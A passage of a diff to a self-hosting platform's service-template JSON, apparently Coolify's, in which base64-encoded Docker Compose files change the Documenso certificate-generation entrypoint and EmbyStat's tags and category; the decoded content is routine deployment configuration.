ZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfREFTSEJPQVJEXzY3OTEKICAgICAgLSAnTkVYVF9QVUJMSUNfREVQTE9ZTUVOVF9VUkw9JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgIGRlcGVuZHNfb246CiAgICAgIGJhY2tlbmQ6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6Njc5MS8nCiAgICAgIGludGVydmFsOiA1cwogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
         "tags": [
             "database",
             "reactive",
@@ -760,7 +760,7 @@
     "documenso": {
         "documentation": "https://docs.documenso.com/?utm_source=coolify.io",
         "slogan": "Document signing, finally open source",
-        "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPQ1VNRU5TT18zMDAwCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0FVVEhTRUNSRVR9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9FTkNSWVBUSU9OS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0VOQ1JZUFRJT05fU0VDT05EQVJZX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X1NFQ09OREFSWUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9VUkxfRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gJ0NFUlRfVkFMSURfREFZUz0ke0NFUlRfVkFMSURfREFZUzotMzY1fScKICAgICAgLSAnQ0VSVF9JTkZPX0NPVU5UUllfTkFNRT0ke0NFUlRfSU5GT19DT1VOVFJZX05BTUU6LURPfScKICAgICAgLSAnQ0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U9JHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fTE9DQUxJVFlfTkFNRT0ke0NFUlRfSU5GT19MT0NBTElUWV9OQU1FOi1TYW50aWFnb30nCiAgICAgIC0gJ0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRT0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRTotRXhhbXBsZSBJTkN9JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVD0ke0NFUlRfSU5GT19PUkdBTklaQVRJT05BTF9VTklUOi1JVCBEZXBhcnRtZW50fScKICAgICAgLSAnQ0VSVF9JTkZPX0VNQUlMPSR7Q0VSVF9JTkZPX0VNQUlMOi1leGFtcGxlQGdtYWlsLmNvbX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9MT0dJTjotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJ3Z2V0IC1xIC1PIC0gaHR0cDovL2RvY3VtZW5zbzozMDAwLyB8IGdyZXAgLXEgJ1NpZ24gaW4gdG8geW91ciBhY2NvdW50JyIKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogICAgZW50cnlwb2ludDoKICAgICAgLSAvYmluL3NoCiAgICAgIC0gJy1jJwogICAgICAtICJlY2hvIFwiLi9jZXJ0c1wiID4gL3RtcC9jZXJ0c19kaXJfcGF0aFxuZWNobyBcIi4vbWFrZS1jZXJ0cy5zaFwiID4gL3RtcC9jZXJ0X3NjcmlwdF9wYXRoXG5lY2hvIFwiJHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT31cIiA+IC90bXAvY2VydF9wYXNzXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT31cbmVtYWlsQWRkcmVzcyA9ICR7Q0VSVF9JTkZPX0VNQUlMfVxuRU9GXG5cbmNhdCA8PEVPRiA+IFwiJChjYXQgL3RtcC9jZXJ0X3NjcmlwdF9wYXRoKVwiXG5ta2RpciAtcCBcIiQoY2F0IC90bXAvY2VydHNfZGlyX3BhdGgpXCIgJiYgY2QgXCIkKGNhdCAvdG1wL2NlcnRzX2Rpcl9wYXRoKVwiXG5cbm9wZW5zc2wgZ2VucnNhIC1vdXQgcHJpdmF0ZS5rZXkgMjA0OFxuXG5vcGVuc3NsIHJlcSBcXFxuICAtbmV3IFxcXG4gIC14NTA5IFxcXG4gIC1rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLW91dCBjZXJ0aWZpY2F0ZS5jcnQgXFxcbiAgLWRheXMgJHtDRVJUX1ZBTElEX0RBWVN9IFxcXG4gIC1jb25maWcgL3RtcC9jZXJ0X2luZm9fcGF0aFxuXG5vcGVuc3NsIHBrY3MxMiBcXFxuICAtZXhwb3J0IFxcXG4gIC1vdXQgY2VydGlmaWNhdGUucDEyIFxcXG4gIC1pbmtleSBwcml2YXRlLmtleSBcXFxuICAtaW4gY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1sZWdhY3kgXFxcbiAgLXBhc3N3b3JkIGZpbGU6L3RtcC9jZXJ0X3Bhc3NcbkVPRlxuY2htb2QgK3ggXCIkKGNhdCAvdG1wL2NlcnRfc2NyaXB0X3BhdGgpXCJcblxuc2ggXCIkKGNhdCAvdG1wL2NlcnRfc2NyaXB0X3BhdGgpXCJcblxuLi9zdGFydC5zaFxuIgogIGRhdGFiYXNlOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNycKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvY3VtZW5zb19wb3N0Z3Jlc3FsX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPQ1VNRU5TT18zMDAwCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT30nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0FVVEhTRUNSRVR9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF9FTkNSWVBUSU9OS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0VOQ1JZUFRJT05fU0VDT05EQVJZX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X1NFQ09OREFSWUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BVQkxJQ19XRUJBUFBfVVJMPSR7U0VSVklDRV9VUkxfRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtIE5FWFRfUFJJVkFURV9TSUdOSU5HX0xPQ0FMX0ZJTEVfUEFUSD0vYXBwL2FwcHMvcmVtaXgvY2VydHMvY2VydGlmaWNhdGUucDEyCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TSUdOSU5HX1BBU1NQSFJBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TT30nCiAgICAgIC0gTkVYVF9QUklWQVRFX1NJR05JTkdfVFJBTlNQT1JUPWxvY2FsCiAgICAgIC0gTkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVRIPS9hcHAvY2VydHMvY2VydC5wMTIKICAgICAgLSAnTkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVNTUEhSQVNFPSR7U0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU099JwogICAgICAtICdDRVJUX1ZBTElEX0RBWVM9JHtDRVJUX1ZBTElEX0RBWVM6LTM2NX0nCiAgICAgIC0gJ0NFUlRfSU5GT19DT1VOVFJZX05BTUU9JHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FOi1ET30nCiAgICAgIC0gJ0NFUlRfSU5GT19TVEFURV9PUl9QUk9WSURFTkNFPSR7Q0VSVF9JTkZPX1NUQVRFX09SX1BST1ZJREVOQ0U6LVNhbnRpYWdvfScKICAgICAgLSAnQ0VSVF9JTkZPX0xPQ0FMSVRZX05BTUU9JHtDRVJUX0lORk9fTE9DQUxJVFlfTkFNRTotU2FudGlhZ299JwogICAgICAtICdDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OX05BTUU6LUV4YW1wbGUgSU5DfScKICAgICAgLSAnQ0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVQ9JHtDRVJUX0lORk9fT1JHQU5JWkFUSU9OQUxfVU5JVDotSVQgRGVwYXJ0bWVudH0nCiAgICAgIC0gJ0NFUlRfSU5GT19FTUFJTD0ke0NFUlRfSU5GT19FTUFJTDotZXhhbXBsZUBnbWFpbC5jb219JwogICAgICAtICdORVhUX1BVQkxJQ19ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfTE9HSU46LWZhbHNlfScKICAgICAgLSAnU0VSVklDRV9QQVNTV09SRF9ET0NVTUVOU089JHtTRVJWSUNFX1BBU1NXT1JEX0RPQ1VNRU5TTzotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAid2dldCAtcSAtTyAtIGh0dHA6Ly9kb2N1bWVuc286MzAwMC8gfCBncmVwIC1xICdTaWduIGluIHRvIHlvdXIgYWNjb3VudCciCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICAgIGVudHJ5cG9pbnQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAiQ0VSVF9QQVNTUEhSQVNFPVwiJCR7TkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVNTUEhSQVNFfVwiXG5QQVNTUEhSQVNFX0ZJTEU9XCIvdG1wL2NlcnRfcGFzc3BocmFzZVwiXG5cbiMgU2F2ZSBvcmlnaW5hbCB3b3JraW5nIGRpcmVjdG9yeVxuT1JJR0lOQUxfRElSPVwiJCQocHdkKVwiXG5cbiMgRmluZCBvcGVuc3NsIGJpbmFyeSAoc2hvdWxkIGJlIGF2YWlsYWJsZSBpbiB2MS4xMi4xMCspXG5PUEVOU1NMX0NNRD1cIiQkKHdoaWNoIG9wZW5zc2wgMj4vZGV2L251bGwgfHwgY29tbWFuZCAtdiBvcGVuc3NsIDI+L2Rldi9udWxsIHx8IGVjaG8gJy91c3IvYmluL29wZW5zc2wnKVwiXG5cbiMgVmVyaWZ5IG9wZW5zc2wgaXMgYXZhaWxhYmxlXG5pZiAhICQkT1BFTlNTTF9DTUQgdmVyc2lvbiA+L2Rldi9udWxsIDI+JjE7IHRoZW5cbiAgZWNobyBcIkVycm9yOiBPcGVuU1NMIG5vdCBmb3VuZC4gUGxlYXNlIHVzZSBEb2N1bWVuc28gaW1hZ2UgdjEuMTIuMTAgb3IgbGF0ZXIuXCJcbiAgZXhpdCAxXG5maVxuXG4jIENyZWF0ZSBjZXJ0aWZpY2F0ZSBkaXJlY3RvcnkgLSB1c2UgL2FwcC9jZXJ0cyAod3JpdGFibGUgYnkgdXNlciAxMDAxKVxuQ0VSVF9ESVI9XCIvYXBwL2NlcnRzXCJcbm1rZGlyIC1wIFwiJCRDRVJUX0RJUlwiIHx8IHtcbiAgIyBGYWxsYmFjayB0byB0bXAgaWYgYXBwIGRpcmVjdG9yeSBub3Qgd3JpdGFibGVcbiAgQ0VSVF9ESVI9XCIvdG1wL2NlcnRzXCJcbiAgbWtkaXIgLXAgXCIkJENFUlRfRElSXCJcbiAgZWNobyBcIldhcm5pbmc6IFVzaW5nIGZhbGxiYWNrIGRpcmVjdG9yeTogJCRDRVJUX0RJUlwiXG59XG5cbiMgQ3JlYXRlIHBhc3NwaHJhc2UgZmlsZSBmb3Igc2VjdXJlIGhhbmRsaW5nIChwcmV2ZW50cyBleHBvc3VyZSBpbiBwcm9jZXNzIGxpc3QpXG4jIFRoaXMgYXZvaWRzIHNoZWxsIHdvcmQtc3BsaXR0aW5nIGlzc3VlcyBhbmQgcHJldmVudHMgcGFzc3BocmFzZSBmcm9tIGFwcGVhcmluZyBpbiBwcy9wcm9jZXNzIGxpc3RcbmVjaG8gLW4gXCIkJENFUlRfUEFTU1BIUkFTRVwiID4gXCIkJFBBU1NQSFJBU0VfRklMRVwiXG5jaG1vZCA2MDAgXCIkJFBBU1NQSFJBU0VfRklMRVwiXG5cbnRvdWNoIC90bXAvY2VydF9pbmZvX3BhdGhcbmNhdCA8PEVPRiA+IC90bXAvY2VydF9pbmZvX3BhdGhcblsgcmVxIF1cbmRpc3Rpbmd1aXNoZWRfbmFtZSA9IHJlcV9kaXN0aW5ndWlzaGVkX25hbWVcbnByb21wdCA9IG5vXG5bIHJlcV9kaXN0aW5ndWlzaGVkX25hbWUgXVxuQyAgICAgICAgICAgID0gJHtDRVJUX0lORk9fQ09VTlRSWV9OQU1FfVxuU1QgICAgICAgICAgID0gJHtDRVJUX0lORk9fU1RBVEVfT1JfUFJPVklERU5DRX1cbkwgICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX0xPQ0FMSVRZX05BTUV9XG5PICAgICAgICAgICAgPSAke0NFUlRfSU5GT19PUkdBTklaQVRJT05fTkFNRX1cbk9VICAgICAgICAgICA9ICR7Q0VSVF9JTkZPX09SR0FOSVpBVElPTkFMX1VOSVR9XG5DTiAgICAgICAgICAgPSAke1NFUlZJQ0VfVVJMX0RPQ1VNRU5TT31cbmVtYWlsQWRkcmVzcyA9ICR7Q0VSVF9JTkZPX0VNQUlMfVxuRU9GXG5cbmNkIFwiJCRDRVJUX0RJUlwiXG5cbiQkT1BFTlNTTF9DTUQgZ2VucnNhIC1vdXQgcHJpdmF0ZS5rZXkgMjA0OFxuXG4kJE9QRU5TU0xfQ01EIHJlcSBcXFxuICAtbmV3IFxcXG4gIC14NTA5IFxcXG4gIC1rZXkgcHJpdmF0ZS5rZXkgXFxcbiAgLW91dCBjZXJ0aWZpY2F0ZS5jcnQgXFxcbiAgLWRheXMgJCR7Q0VSVF9WQUxJRF9EQVlTfSBcXFxuICAtY29uZmlnIC90bXAvY2VydF9pbmZvX3BhdGhcblxuIyBDcmVhdGUgUDEyIGNlcnRpZmljYXRlIHVzaW5nIGZpbGUtYmFzZWQgcGFzc3BocmFzZSAocHJldmVudHMgZXhwb3N1cmUgaW4gcHJvY2VzcyBsaXN0KVxuIyBQcml2YXRlIGtleSBpcyBub3QgZW5jcnlwdGVkLCBzbyB3ZSBvbmx5IG5lZWQgLXBhc3NvdXQgKG5vdCAtcGFzc2luKVxuJCRPUEVOU1NMX0NNRCBwa2NzMTIgXFxcbiAgLWV4cG9ydCBcXFxuICAtb3V0IGNlcnQucDEyIFxcXG4gIC1pbmtleSBwcml2YXRlLmtleSBcXFxuICAtaW4gY2VydGlmaWNhdGUuY3J0IFxcXG4gIC1sZWdhY3kgXFxcbiAgLXBhc3NvdXQgZmlsZTpcIiQkUEFTU1BIUkFTRV9GSUxFXCJcblxuIyBDbGVhbiB1cCBwYXNzcGhyYXNlIGZpbGUgaW1tZWRpYXRlbHkgYWZ0ZXIgdXNlXG5ybSAtZiBcIiQkUEFTU1BIUkFTRV9GSUxFXCJcblxuIyBTZXQgcGVybWlzc2lvbnMgKG1heSBmYWlsIGlmIG5vdCByb290LCBidXQgd2lsbCB3b3JrIGluIENvb2xpZnkpXG5jaG93biAxMDAxOjEwMDEgY2VydC5wMTIgcHJpdmF0ZS5rZXkgY2VydGlmaWNhdGUuY3J0IDI+L2Rldi9udWxsIHx8IHRydWVcbmNobW9kIDQwMCBjZXJ0LnAxMiBwcml2YXRlLmtleSBjZXJ0aWZpY2F0ZS5jcnRcblxuIyBVcGRhdGUgZW52aXJvbm1lbnQgdmFyaWFibGUgaWYgZGlyZWN0b3J5IGNoYW5nZWRcbmlmIFsgXCIkJENFUlRfRElSXCIgIT0gXCIvYXBwL2NlcnRzXCIgXTsgdGhlblxuICBleHBvcnQgTkVYVF9QUklWQVRFX1NJR05JTkdfTE9DQUxfRklMRV9QQVRIPVwiJCRDRVJUX0RJUi9jZXJ0LnAxMlwiXG5maVxuXG4jIFJldHVybiB0byBvcmlnaW5hbCBkaXJlY3RvcnkgYmVmb3JlIHN0YXJ0aW5nIGFwcGxpY2F0aW9uXG5jZCBcIiQkT1JJR0lOQUxfRElSXCJcblxuLi9zdGFydC5zaFxuIgogIGRhdGFiYXNlOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNycKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvY3VtZW5zb19wb3N0Z3Jlc3FsX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "signing",
             "opensource",
@@ -976,13 +976,13 @@
         "slogan": "EmbyStat is a web analytics tool, designed to provide insight into website traffic and user behavior.",
         "compose": "c2VydmljZXM6CiAgZW1ieXN0YXQ6CiAgICBpbWFnZTogJ2xzY3IuaW8vbGludXhzZXJ2ZXIvZW1ieXN0YXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfRU1CWVNUQVRfNjU1NQogICAgICAtIFBVSUQ9MTAwMAogICAgICAtIFBHSUQ9MTAwMAogICAgICAtIFRaPUV1cm9wZS9NYWRyaWQKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VtYnlzdGF0LWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjY1NTUnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK",
         "tags": [
-            "media",
-            "server",
-            "movies",
-            "tv",
-            "music"
+            "analytics",
+            "insights",
+            "statistics",
+            "web",
+            "traffic"
         ],
-        "category": "media",
+        "category": "analytics",
         "logo": "svgs/default.webp",
         "minversion": "0.0.0",
         "port": "6555"
@@ -1397,7 +1397,7 @@
     "ghost": {
         "documentation": "https://ghost.org?utm_source=coolify.io",
         "slogan": "Ghost is a content management system (CMS) and blogging platform.",
-        "compose": "c2VydmljZXM6CiAgZ2hvc3Q6CiAgICBpbWFnZTogJ2dob3N0OjUnCiAgICB2b2x1bWVzOgogICAgICAtICdnaG9zdC1jb250ZW50LWRhdGE6L3Zhci9saWIvZ2hvc3QvY29udGVudCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0dIT1NUXzIzNjgKICAgICAgLSB1cmw9JFNFUlZJQ0VfVVJMX0dIT1NUXzIzNjgKICAgICAgLSBkYXRhYmFzZV9fY2xpZW50PW15c3FsCiAgICAgIC0gZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX2hvc3Q9bXlzcWwKICAgICAgLSBkYXRhYmFzZV9fY29ubmVjdGlvbl9fdXNlcj0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gZGF0YWJhc2VfX2Nvbm5lY3Rpb25fX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gJ2RhdGFiYXNlX19jb25uZWN0aW9uX19kYXRhYmFzZT0ke01ZU1FMX0RBVEFCQVNFLWdob3N0fScKICAgICAgLSBtYWlsX190cmFuc3BvcnQ9U01UUAogICAgICAtICdtYWlsX19vcHRpb25zX19hdXRoX19wYXNzPSR7TUFJTF9PUFRJT05TX0FVVEhfUEFTU30nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX2F1dGhfX3VzZXI9JHtNQUlMX09QVElPTlNfQVVUSF9VU0VSfScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fc2VjdXJlPSR7TUFJTF9PUFRJT05TX1NFQ1VSRTotdHJ1ZX0nCiAgICAgIC0gJ21haWxfX29wdGlvbnNfX3BvcnQ9JHtNQUlMX09QVElPTlNfUE9SVDotNDY1fScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19fc2VydmljZT0ke01BSUxfT1BUSU9OU19TRVJWSUNFOi1NYWlsZ3VufScKICAgICAgLSAnbWFpbF9fb3B0aW9uc19faG9zdD0ke01BSUxfT1BUSU9OU19IT1NUfScKICAgIGRlcGVuZHNfb246CiAgICAgIG15c3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG15c3F